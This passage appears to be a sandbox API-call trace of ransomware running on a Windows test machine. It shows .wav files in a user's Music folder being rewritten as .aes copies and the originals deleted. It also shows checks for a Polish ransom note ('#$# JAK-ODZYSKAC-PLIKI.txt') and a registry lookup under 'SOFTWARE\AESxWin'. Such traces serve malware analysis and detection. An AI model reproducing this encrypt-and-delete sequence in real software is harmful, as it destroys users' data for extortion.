dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0090.582] GetFileType (hFile=0x8e4) returned 0x1 [0090.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0090.582] GetFileType (hFile=0x8e4) returned 0x1 [0090.583] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0090.591] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0090.591] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0090.599] LocalFree (hMem=0x6ff3178) returned 0x0 [0090.599] GetAdaptersAddresses () returned 0x6f [0090.604] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0090.604] GetAdaptersAddresses () returned 0x0 [0090.609] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0090.616] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0090.616] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0090.653] LocalFree (hMem=0x1c8ab8) returned 0x0 [0090.653] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0090.660] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0090.660] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0090.666] LocalFree (hMem=0x1c8ab8) returned 0x0 [0090.667] LocalFree (hMem=0x7042020) returned 0x0 [0090.667] GetBestInterfaceEx (in: pDestAddr=0x28f9bb0*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0090.761] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\EH1OC XshC.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\eh1oc xshc.wav")) returned 1 [0090.762] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x57 [0090.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0090.762] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0272220, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf0272220, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf0272220, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0090.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0090.762] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0090.832] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\jmrFGsOlm2gK_qf.wav", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\jmrFGsOlm2gK_qf.wav", lpFilePart=0x0) returned 0x50 [0090.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0090.832] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\jmrFGsOlm2gK_qf.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\jmrfgsolm2gk_qf.wav"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f776ef0, ftCreationTime.dwHighDateTime=0x1d2ff65, ftLastAccessTime.dwLowDateTime=0x100916f0, ftLastAccessTime.dwHighDateTime=0x1d2ffcf, ftLastWriteTime.dwLowDateTime=0x100916f0, ftLastWriteTime.dwHighDateTime=0x1d2ffcf, nFileSizeHigh=0x0, nFileSizeLow=0x1102)) returned 1 [0090.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0090.832] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\jmrFGsOlm2gK_qf.wav", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\jmrFGsOlm2gK_qf.wav", lpFilePart=0x0) returned 0x50 [0090.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0090.832] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\jmrFGsOlm2gK_qf.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\jmrfgsolm2gk_qf.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468 [0090.832] GetFileType (hFile=0x468) returned 0x1 [0090.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0090.832] GetFileType (hFile=0x468) returned 0x1 [0090.832] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\jmrFGsOlm2gK_qf.wav.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\jmrFGsOlm2gK_qf.wav.aes", lpFilePart=0x0) returned 0x54 [0090.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0090.832] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\jmrFGsOlm2gK_qf.wav.aes" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\jmrfgsolm2gk_qf.wav.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0090.832] GetFileType (hFile=0x61c) returned 0x1 [0090.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0090.832] GetFileType (hFile=0x61c) returned 0x1 [0090.833] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0090.865] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0090.865] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0090.872] LocalFree (hMem=0x6ff3178) returned 0x0 [0090.872] GetAdaptersAddresses () returned 0x6f [0090.876] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0090.876] GetAdaptersAddresses () returned 0x0 [0090.881] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0090.887] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0090.887] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0090.898] LocalFree (hMem=0x1c8ab8) returned 0x0 [0090.898] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0090.904] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0090.904] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0090.910] LocalFree (hMem=0x1c8ab8) returned 0x0 [0090.910] LocalFree (hMem=0x7042020) returned 0x0 [0090.910] GetBestInterfaceEx (in: pDestAddr=0x28bffac*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0091.010] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\jmrFGsOlm2gK_qf.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\jmrfgsolm2gk_qf.wav")) returned 1 [0091.011] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x57 [0091.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0091.011] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0272220, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf0272220, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf0272220, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0091.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0091.011] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0091.057] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\MtD6XQw0JRc8h.wav", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\MtD6XQw0JRc8h.wav", lpFilePart=0x0) returned 0x4e [0091.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0091.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\MtD6XQw0JRc8h.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\mtd6xqw0jrc8h.wav"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc35f4a80, ftCreationTime.dwHighDateTime=0x1d30524, ftLastAccessTime.dwLowDateTime=0xbce2ecc0, ftLastAccessTime.dwHighDateTime=0x1d30466, ftLastWriteTime.dwLowDateTime=0xbce2ecc0, ftLastWriteTime.dwHighDateTime=0x1d30466, nFileSizeHigh=0x0, nFileSizeLow=0xc2cc)) returned 1 [0091.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0091.057] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\MtD6XQw0JRc8h.wav", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\MtD6XQw0JRc8h.wav", lpFilePart=0x0) returned 0x4e [0091.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0091.057] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\MtD6XQw0JRc8h.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\mtd6xqw0jrc8h.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x350 [0091.057] GetFileType (hFile=0x350) returned 0x1 [0091.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0091.057] GetFileType (hFile=0x350) returned 0x1 [0091.057] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\MtD6XQw0JRc8h.wav.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\MtD6XQw0JRc8h.wav.aes", lpFilePart=0x0) returned 0x52 [0091.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0091.057] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\MtD6XQw0JRc8h.wav.aes" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\mtd6xqw0jrc8h.wav.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468 [0091.058] GetFileType (hFile=0x468) returned 0x1 [0091.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0091.058] GetFileType (hFile=0x468) returned 0x1 [0091.058] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0091.066] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0091.066] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0091.073] LocalFree (hMem=0x6ff3178) returned 0x0 [0091.073] GetAdaptersAddresses () returned 0x6f [0091.077] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0091.077] GetAdaptersAddresses () returned 0x0 [0091.082] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0091.089] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0091.089] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0091.146] LocalFree (hMem=0x1c8ab8) returned 0x0 [0091.147] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0091.153] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0091.153] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0091.160] LocalFree (hMem=0x1c8ab8) returned 0x0 [0091.160] LocalFree (hMem=0x7042020) returned 0x0 [0091.160] GetBestInterfaceEx (in: pDestAddr=0x287cc9c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0091.230] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\MtD6XQw0JRc8h.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\mtd6xqw0jrc8h.wav")) returned 1 [0091.231] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x57 [0091.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0091.231] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0272220, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf0272220, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf0272220, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0091.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0091.231] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0091.286] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\zXoge.wav", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\zXoge.wav", lpFilePart=0x0) returned 0x54 [0091.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0091.286] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\zXoge.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\d xgp5yxo\\zxoge.wav"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f63b950, ftCreationTime.dwHighDateTime=0x1d2fec3, ftLastAccessTime.dwLowDateTime=0x3436d280, ftLastAccessTime.dwHighDateTime=0x1d2f753, ftLastWriteTime.dwLowDateTime=0x3436d280, ftLastWriteTime.dwHighDateTime=0x1d2f753, nFileSizeHigh=0x0, nFileSizeLow=0x18bad)) returned 1 [0091.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0091.286] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\zXoge.wav", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\zXoge.wav", lpFilePart=0x0) returned 0x54 [0091.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0091.286] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\zXoge.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\d xgp5yxo\\zxoge.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468 [0091.286] GetFileType (hFile=0x468) returned 0x1 [0091.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0091.286] GetFileType (hFile=0x468) returned 0x1 [0091.286] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\zXoge.wav.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\zXoge.wav.aes", lpFilePart=0x0) returned 0x58 [0091.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0091.286] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\zXoge.wav.aes" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\d xgp5yxo\\zxoge.wav.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x358 [0091.315] GetFileType (hFile=0x358) returned 0x1 [0091.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0091.315] GetFileType (hFile=0x358) returned 0x1 [0091.316] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0091.323] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0091.323] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0091.330] LocalFree (hMem=0x6ff3178) returned 0x0 [0091.330] GetAdaptersAddresses () returned 0x6f [0091.335] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0091.335] GetAdaptersAddresses () returned 0x0 [0091.340] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0091.346] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0091.346] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0091.379] LocalFree (hMem=0x1c8ab8) returned 0x0 [0091.380] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0091.386] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0091.386] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0091.392] LocalFree (hMem=0x1c8ab8) returned 0x0 [0091.392] LocalFree (hMem=0x7042020) returned 0x0 [0091.392] GetBestInterfaceEx (in: pDestAddr=0x286e650*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0091.514] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\zXoge.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\d xgp5yxo\\zxoge.wav")) returned 1 [0091.515] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x65 [0091.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0091.515] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\d xgp5yxo\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0091.515] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x468) returned 0x0 [0091.515] RegQueryValueExW (in: hKey=0x468, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0091.516] 